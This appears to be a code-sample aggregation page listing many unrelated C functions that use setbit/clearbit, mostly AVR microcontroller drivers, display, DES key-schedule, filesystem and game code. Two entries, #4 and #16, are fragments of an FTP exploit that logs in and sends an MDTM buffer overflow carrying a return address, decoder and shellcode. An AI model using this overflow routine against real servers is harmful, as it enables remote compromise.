Beispiel #1
0
uint8_t distance_sense()
{
    /*Assumes to be called every 8ms. To reduce wear on infrared LED, measure
     *only every DIST_TIMER_MAX calls. On all the other calls, return old
     *value.
     */
    static uint16_t dist_timer = 0;
    static uint8_t current_distance = 0;

    if(dist_timer == 0)
    {
        distance_supply_on();
        _delay_us(400); //Rise time for infrared LED
        //select channel 2 for ADC
        clearbit(ADMUX, MUX0);
        setbit(ADMUX, MUX1);
        clearbit(ADMUX, MUX2);
        clearbit(ADMUX, MUX3);

        current_distance = 255-adc_conversion();
        distance_supply_off();
        dist_timer = DIST_TIMER_MAX;
    }

    dist_timer--;
    return(current_distance);
}
Beispiel #2
0
void sensors_init()
{
    //motor rotation counter
    clearbit(DDR_MRC, DDMRC);
    //enable pullup
    setbit(PORT_MRC, PMRC);

    //distance senseor supply as output
    setbit(DDR_DSS, DDDSS);
    //default off (inverted)
    setbit(PORT_DSS, PDSS);

    //ADC channels as inputs
    clearbit(DDR_CS, DDCS);
    clearbit(DDR_DS, DDDS);

    //set up ADC
    //AVCC reference voltage
    setbit(ADMUX, REFS0);
    clearbit(ADMUX, REFS1);
    //left adjusted result (we use only high byte anyway)
    setbit(ADMUX, ADLAR);
    //125kHz sampling -> prescaler of 8 from 1MHz clock
    setbit(ADCSRA, ADPS0);
    setbit(ADCSRA, ADPS1);
    clearbit(ADCSRA, ADPS2);

    //enable ADC (but don't start it yet)
    setbit(ADCSRA, ADEN);
}
void glcd_on() {
	setbit(CS1PORT, CS1);
	setbit(CS2PORT, CS2);
	
	clearbit(RSPORT, RS);//Set RS Low
	clearbit(RWPORT, RW);//Set RW Low
	DATA = 0b00111111; //Display ON Instruction (0x3F)
	executeCommand();
}
Beispiel #4
0
int ftp_login (char *hostName, short port, char *user, char *pass)
{
        int     ret, sock;
        char    buff[MAX_LEN];

        fprintf (stderr, "# Connecting...... \n");
        if ((sock = new_tcpConnect (hostName, port, 4000)) <= 0) {
                fprintf (stderr, "[-] failed. \n");
                return -1;
        }
	
        clearbit (buff);

        new_recv (sock, buff, sizeof (buff) - 1);
        if (!strstr (buff, "220")) {
                fprintf (stderr, "[-] failed. \n");
                return -1;
        }
        fprintf (stderr, "[+] Connected. \n");

        sleep (1);
        fprintf (stderr, "[*] USER %s .\n", user);
        clearbit (buff);
        snprintf (buff, sizeof (buff), "USER %s\r\n",  user);
        ret = new_send (sock, buff, strlen (buff));
        fprintf (stderr, "[*] %d bytes send. \n", ret);

        sleep (1);

        clearbit (buff);
        new_recv (sock, buff, sizeof (buff) - 1);
        if (!strstr (buff, "331")) {
                fprintf (stderr, "[-] user failed. \n%s\n", buff);
                return -1;
        }

        fprintf (stderr, "[*] PASS %s .\n", pass);
        clearbit (buff);
        snprintf (buff, sizeof (buff), "PASS %s\r\n", pass);
        ret = new_send (sock, buff, strlen (buff));
        fprintf (stderr, "[*] %d bytes send. \n", ret);

        sleep (1);

        clearbit (buff);
        new_recv (sock, buff, sizeof (buff) - 1);
        if (!strstr (buff, "230")) {
                fprintf (stderr, "[-] pass failed. \n%s\n", buff);
                return -1;
        }

        fprintf (stderr, "[+] login success .\n");

        return sock;

}
Beispiel #5
0
uint8_t current_sense()
{
    //select channel 1 for ADC
    setbit(ADMUX, MUX0);
    clearbit(ADMUX, MUX1);
    clearbit(ADMUX, MUX2);
    clearbit(ADMUX, MUX3);

    return(adc_conversion());
}
void goto_xpage(int xadd) {
	clearbit(RSPORT, RS);
	clearbit(RWPORT, RW);
	if (is_inverted) {
		DATA = 0b10111000 | (7 - xadd);
		} else {
		DATA = 0b10111000 | (xadd);
	}
	executeCommand();
}
void goto_yaddress(int yadd, int both_halves) {
	if (is_inverted) {
		if (both_halves) {
			setbit(CS1PORT, CS1);
			setbit(CS2PORT, CS2);
			if (yadd > 64) {
				DATA = 0b01000000 | (yadd - 64); //Here just in case
				} else {
				DATA = 0b01000000 | yadd;
			}
			} else {
			if (yadd < 64) {
				clearbit(CS1PORT, CS1);
				setbit(CS2PORT, CS2);
				DATA = 0b01000000 | (63 - yadd);
				} else {
				setbit(CS1PORT, CS1);
				clearbit(CS2PORT, CS2);
				DATA = 0b01000000 | (63 - yadd + 64);
			}
			clearbit(RSPORT, RS);
			clearbit(RWPORT, RW);
			
			clearbit(EPORT, E);
			
			executeCommand();
		}
		} else {
		if (both_halves) {
			setbit(CS1PORT, CS1);
			setbit(CS2PORT, CS2);
			if (yadd > 64) {
				DATA = 0b01000000 | (yadd - 64); //Here just in case
				} else {
				DATA = 0b01000000 | yadd;
			}
			} else {
			if (yadd < 64) {
				setbit(CS1PORT, CS1);
				clearbit(CS2PORT, CS2);
				DATA = 0b01000000 | (yadd);
				} else {
				clearbit(CS1PORT, CS1);
				setbit(CS2PORT, CS2);
				DATA = 0b01000000 | (yadd - 64);
			}
			clearbit(RSPORT, RS);
			clearbit(RWPORT, RW);
			
			clearbit(EPORT, E);
			
			executeCommand();
		}
	}
}
void init_spi()
{
	setbit(SPCR, SPE);		//Enables spi
	clearbit(DDRB, PINB4);	// SS är input
	clearbit(DDRB, PINB5);	// MOSI är input
	setbit(DDRB, PINB6);	// MISO är output
	clearbit(DDRB, PINB7);	//CLK är input
	setbit(DDRA, PINA7);	// Avbrottsförfrågan är output
	setbit(PORTA, PINA7);	// 1 = normal, 0 = avbrottsförfrågan
	SPDR = 0x32;
}
void permuteCD(char *c0, char *d0, char **cd){
    int i,j;
    char c[17][4],d[17][4];
    for(i=0;i<4;i++){
        c[0][i]=c0[i];
        d[0][i]=d0[i];
    }
    printf("\n");
    for(i=1;i<17;i++){
        for(j=0;j<4;j++){
            c[i][j]=c[i-1][j];
            d[i][j]=d[i-1][j];
        }
        if(i==1 | i==2 | i==9 | i==16){
            clrshift(c[i],1);
            clrshift(d[i],1);
        }
        else{
            clrshift(c[i],1);
            clrshift(d[i],1);
            clrshift(c[i],1);
            clrshift(d[i],1);
        }
    }
    int x=0;
    for(i=0;i<17;i++){
        unadjustD(d[i]);
        for(j=0;j<3;j++){
            cd[i][j]=c[i][j];
            cd[i][j+4]=d[i][j+1];
        }
    }
    for(i=0;i<17;i++){
        for(j=0;j<4;j++){
            
            if(getbit(c[i][3],7-j,8)==1)
                cd[i][3]=setbit(cd[i][3],7-j,8);
            else
                cd[i][3]=clearbit(cd[i][3],7-j,8);
            
            if(getbit(d[i][0],j,8)==1)
                cd[i][3]=setbit(cd[i][3],j,8);
            else
                cd[i][3]=clearbit(cd[i][3],j,8);
         }
    }
    for(i=0;i<17;i++){
        for(j=0;j<7;j++){
            displayIntToBinary(cd[i][j],8);
            printf(" ");
        }
        printf("\n");
    }
}
Beispiel #10
0
//*****************************************************************************
void channel_selection(unsigned char channel)
{
clearbit(PORTF,1);
delay_ms(2);
    switch(channel){
        case 0:{clearbit(PORTF,0);clearbit(PORTF,2);};break;
        case 1:{setbit(PORTF,0);clearbit(PORTF,2);};break;
        case 2:{clearbit(PORTF,0);setbit(PORTF,2);};break;
        case 3:{setbit(PORTF,0);setbit(PORTF,2);};break;                            
    };
setbit(PORTF,1);
delay_ms(18);
}
Beispiel #11
0
void move_pen_servo()
{
        move_pen = false;
        if(pen_up==true && pen_state == STATE_DOWN)
        {
            for(int i = PENDOWN; i >= PENUP; i -- )
            {
                OCR0A = i;
                _delay_ms(servo_speed);
            }
            pen_state = STATE_UP;
        }
        else if(pen_up==false && pen_state == STATE_UP)
        {
            for(int i = PENUP; i <= PENDOWN; i ++ )
            {
                OCR0A = i;
                _delay_ms(servo_speed);
            }
            pen_state = STATE_DOWN;
            //flash the led
            setbit(PORTB,LED_PIN);
            _delay_ms(50);
            clearbit(PORTB,LED_PIN); //turn off led
            _delay_ms(50);
        }
}
void glcd_init() {
	//    //Set internal oscillator to 8MHz (default 4MHz)
	//    OSCCON &= 0b01111111;
	setbit(MCUCR, JTD); //Disable JTAG which is enabled by default for the m1284
	setbit(MCUCR, JTD); //Needs to be given twice according to datasheet (pg 275)
	
	DDRA = 0xFF;
	//DDRC = 0xFF;
	DDRD = 0xFF;
	
	PORTA = 0x00;
	//PORTC = 0x00;
	PORTD = 0x00;

	setbit(CS1PORT, CS1);
	setbit(CS2PORT, CS2);
	setbit(RSTPORT, RST);
	
	
	//Reset the display - after programming PIC, the screen gets offset by a few pixels at the top
	//This fixes it
	clearbit(RSTPORT, RST);
	wait(5);
	setbit(RSTPORT, RST);
	wait(5);

}
Beispiel #13
0
void main()
{
	int n,set,clr,tog,res,check;
	printf("Enter the number:\n");
	scanf("%d",&n);
	printf("Position to set:\n");
	scanf("%d",&set);
	printf("Position to clear:\n");
	scanf("%d",&clr);
	printf("Position to toggle:\n");
	scanf("%d",&tog);
	printf("Position to check:\n");
	scanf("%d",&check);
	res=setbit(n,set);
	printf("Result after set is :%d \n",res);
	res=clearbit(n,clr);
	printf("Result after clear is :%d \n",res);
	res=togglebit(n,tog);
	printf("Result after toggle is :%d \n",res);
	res=checkbit(n,check);
	if(res)
		printf("The %d th bit in %d is  set\n",check,n);
	else
		printf("The %d th bit in %d is  not set\n",check,n);
}
Beispiel #14
0
static void bmap_put_block(struct super_block *sb, int blk)
{
	struct block *block;
	block = minix_get_block(sb, ZONE_MAP_BLK(minixsuper(sb), blk));
	if (!clearbit(block->b_data, ZONE_MAP_BLKOFF(minixsuper(sb), blk)))
		panic("Clear unexist-zone bitmap");
	block->b_dirty = 1;
	put_block(block);
}
void write_data(short data) {
	if (is_inverted) {
		DATA = byte_reverse[data]; //Write 6 bits to screen
		} else {
		DATA = data;
	}
	setbit(RSPORT, RS);
	clearbit(RWPORT, RW);
	executeCommand();
}
Beispiel #16
0
void do_overflow (int sock)
{
        int             ret, i;
        unsigned	short newport;
        char    Comand [MAX_LEN] = {0}, chmodBuffer [600], rbuf[256];

        clearbit (Comand);
        clearbit (rbuf);

        clearbit (chmodBuffer);
        
        for(i = 0; i < 47; i++)	
        	strcat(chmodBuffer, "a");
	for(i = 0; i < 16; i += 8) {
	        *(unsigned int*)&chmodBuffer[47+i] = 0x06eb9090;
	        *(unsigned int*)&chmodBuffer[51+i] = architectures[x].magic; //0x1002bd78;  //pop reg pop reg ret
	}
	

	newport = htons (shellport)^(unsigned short)0x9999;
	memcpy (&shellcode[120 + 4], &newport, 2);
	
 	strcat(chmodBuffer, decoder);
		

        fprintf (stderr, "[+] remote version: %s\n", architectures[x].desc);

        fprintf (stderr, "[+] trigger vulnerability !\n ");
        strcpy (Comand, "MDTM 20031111111111+");
        strncat (Comand, chmodBuffer, strlen (chmodBuffer) - 1);
        strcat (Comand, " ");
 

        strcat (Comand, shellcode);
       
        strcat (Comand, "hacked_by.sst\r\n");

        ret =  new_send (sock, Comand, strlen (Comand));
        fprintf (stderr, "[+] %d bytes overflow strings sent!\n", ret);


        return ;
}
Beispiel #17
0
void clear_map_to_unlit(level_t *l)
{
        int x, y;

        for(y = 0; y < l->ysize; y++) {
                for(x = 0; x < l->xsize; x++) {
                        clearbit(l->c[y][x].flags, CF_LIT);
                }
        }
}
Beispiel #18
0
int
zzz()
{
    int oldtime;
    register int n;

    oldtime = Time;
    if ((snooze - Time) < (0.75 * CYCLE)) {
        Time += 0.75 * CYCLE - (snooze - Time);
        printf("<zzz>");
        for (n = 0; n < Time - oldtime; n++)
            printf(".");
        printf("\n");
        snooze += 3 * (Time - oldtime);
        if (notes[LAUNCHED]) {
            fuel -= (Time - oldtime);
            if (location[position].down) {
                position = location[position].down;
                crash();
            }
            else
                notes[LAUNCHED] = 0;
        }
        if (OUTSIDE && rnd(100) < 50) {
            puts("You are awakened abruptly by the sound of someone nearby.");
            switch(rnd(4)) {
            case 0:
                if (ucard(inven)) {
                    n = rnd(NUMOFOBJECTS);
                    while(!testbit(inven,n))
                        n = rnd(NUMOFOBJECTS);
                    clearbit(inven,n);
                    if (n != AMULET && n != MEDALION && n != TALISMAN)
                        setbit(location[position].objects,n);
                    carrying -= objwt[n];
                    encumber -= objcumber[n];
                }
                puts("A fiendish little Elf is stealing your treasures!");
                fight(ELF,10);
                break;
            case 1:
                setbit(location[position].objects,DEADWOOD);
                break;
            case 2:
                setbit(location[position].objects,HALBERD);
                break;
            default:
                break;
            }
        }
    }
    else
        return(0);
    return(1);
}
Beispiel #19
0
int xm_unmask_event (int event) {
    if (event < 0 || event >= MAX_EVENTS) return -1;

    if (event_handling)
        event_handling->masked_events=
            clearbit (event_handling -> masked_events, event);
    if (!xm_is_events_flag_enabled () &&
            ~event_handling -> masked_events & event_handling -> pending_events)
        xm_sync_events ();
    return 0;
}
Beispiel #20
0
static int imap_clear(struct super_block *sb, int ino)
{
	struct block *block;
	int r;
	block = minix_get_block(sb, INODE_MAP_BLK(ino));
	r = clearbit(block->b_data, ino & BITS_PER_BLOCK_MASK);
	if (!r)
		panic("Clear unexist-inode bitmap");
	block->b_dirty = 1;
	put_block(block);
	return r;
}
void adjustD(char *d0){
    int i,j,gb;
    for(j=0;j<4;j++){
        for(i=0;i<4;i++){
            d0[i]<<=1;
            if(getbit(d0[(i+1)%4],7,8) == 1)
                d0[i]=setbit(d0[i],0,8);
            else
                d0[i]=clearbit(d0[i],0,8);
        }
    }
}
void executeCommand() {
	//    wait(3);
	//    E = LOW; //Set Enable Low
	//    wait(3); //Wait for 2ms
	setbit(EPORT, E);//Set Enable High to start signal data transfer
	
	//    wait(1); //Wait for 2ms
	_delay_us(5);
	clearbit(EPORT, E); //Signal the end of data transfer
	//    wait(1); //Wait for 2ms
	_delay_us(5);
}
Beispiel #23
0
void usart_init(){
    
    UBRRH = UBRRH_VALUE;
    UBRRL = UBRRL_VALUE;
    #if USE_2X
    setbit(UCSRA, BIT(U2X));
    #else
    clearbit(UCSRA, BIT(U2X));
    #endif

	// Enable receiver and transmitter
	UCSRB |= _BV(RXCIE) | _BV(RXEN) | _BV(TXEN);
}
void unadjustD(char *d0){
    int i,j;
    for(j=0;j<4;j++){
        for(i=3;i>0;i--){
            d0[i]>>=1;
            if(getbit(d0[(i-1)%4],0,8) == 1)
                d0[i]=setbit(d0[i],7,8);
            else
                d0[i]=clearbit(d0[i],7,8);
        }
        d0[0]>>=1;
    }
}
Beispiel #25
0
VXIlogResult OSBlog::ControlDiagnosticTag(VXIunsigned tagID,
        VXIbool state)
{
    VXIunsigned bindex, bpos;
    if(!Convert2Index(tagID, &bindex, &bpos))
        return VXIlog_RESULT_INVALID_ARGUMENT;

    if(state)
        setbit(&TagIDs[bindex], bpos);
    else
        clearbit(&TagIDs[bindex], bpos);

    return VXIlog_RESULT_SUCCESS;
}
Beispiel #26
0
int main()
{

    //setup
	cli();

  //read last servo pos:
 // startServoPos = eeprom_read_byte(&startServoLoc); 
    //output setup
	setbit(DDRB,SERVO_PIN); //servo
    setbit(DDRB,LED_PIN); //led
    clearbit(DDRB,INT_PIN); //external interrupt

    //timer 0 setup:
    // Set prescaler to 64
    // 1 MHz / 64*256 = 61 Hz PWM frequency
	setbit(TCCR0B,CS01); //prescalar
	setbit(TCCR0B,CS00); //prescalar

	setbit(TIMSK0,TOIE0); //overflow interrupt enable
    setbit(TIMSK0,OCIE0A); //compare A interrupt enable

    // Fast PWM
    TCCR0A |= (1<<WGM01) | (1<<WGM00);


    //load initial servo pos into compare reg
//    OCR0A = startServoPos;

    //external int setup for comms
    setbit(MCUCR,ISC00); //rising edge of int0
    setbit(MCUCR,ISC01); //rising edge of int0
    setbit(GIMSK,INT0); //enable external int0 
    
    //flash led on powerup
    setbit(PORTB,LED_PIN); //turn on led

    //enable interrupts
    sei();

    while(1)
    {
        //interrupts do all the work
    }
}
//clears bit map for that data block and updates superblock
void deallocDataBlock(int d)
{
	char byte;
	//get the byte for that block in the bitmap
	lseek(fdImage,BYOFF_BIT(d),SEEK_SET);
	read(fdImage,&byte,sizeof(char));
	//clear the bit for the block within that byte
	clearbit(BIOFF_BIT(d), &byte);
	//update the bitmap
	lseek(fdImage,BYOFF_BIT(d),SEEK_SET);
	write(fdImage,&byte,sizeof(char));
		
	//update superblock total and data block
	super.nblocks--;
	super.size--;
	lseek(fdImage, BYOFF_SUPER, SEEK_SET);
	write(fdImage, &super, sizeof(superblock_t));
}
Beispiel #28
0
drink()
{
	register int n;

	if (testbit(inven,POTION)){
		puts("The cool liquid runs down your throat but turns to fire and you choke.");
		puts("The heat reaches your limbs and tingles your spirit.  You feel like falling");
		puts("asleep.");
		clearbit(inven, POTION);
		WEIGHT = MAXWEIGHT;
		CUMBER = MAXCUMBER;
		for (n=0; n < NUMOFINJURIES; n++)
			injuries[n] = 0;
		time++;
		zzz();
	}
	else
		puts("I'm not thirsty.");
}
Beispiel #29
0
boolean filesetfinderflag (ptrfilespec pfs, short flagnum, boolean flag) {

	OSErr ec;
	FInfo info;

	ec = FSpGetFInfo (pfs, &info);
	
	if (fileerror (pfs, ec))
		return (false);
	
	if (flag)
		info.fdFlags = setbit (info.fdFlags, flagnum);
	else
		info.fdFlags = clearbit (info.fdFlags, flagnum);
	
	ec = FSpSetFInfo (pfs, &info);	
	
	return (!fileerror (pfs, ec));
	} /*filesetfinderflag*/
void genRoundKeys(char **cd, char **rk){
    int permutate[48]={14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32};
    int i,j,loc,k;
    for(i=0;i<16;i++)
        for(j=0;j<6;j++)
            rk[i][j]=0;

    for(i=0;i<16;i++){
        for(j=0;j<48;j++){
            loc=(permutate[j]-1)/8;
            k=7-(permutate[j]-1)%8;
           // if(j==4 && i==0)
            //    printf("%d,%d,%d",loc,k,permutate[j]);
            if(getbit(cd[i+1][loc],k,8)==1){
                rk[i][j/8]=setbit(rk[i][j/8],7-j%8,8);
             }
            else
                rk[i][j/8]=clearbit(rk[i][j/8],7-j%8,8);
        }
    }
}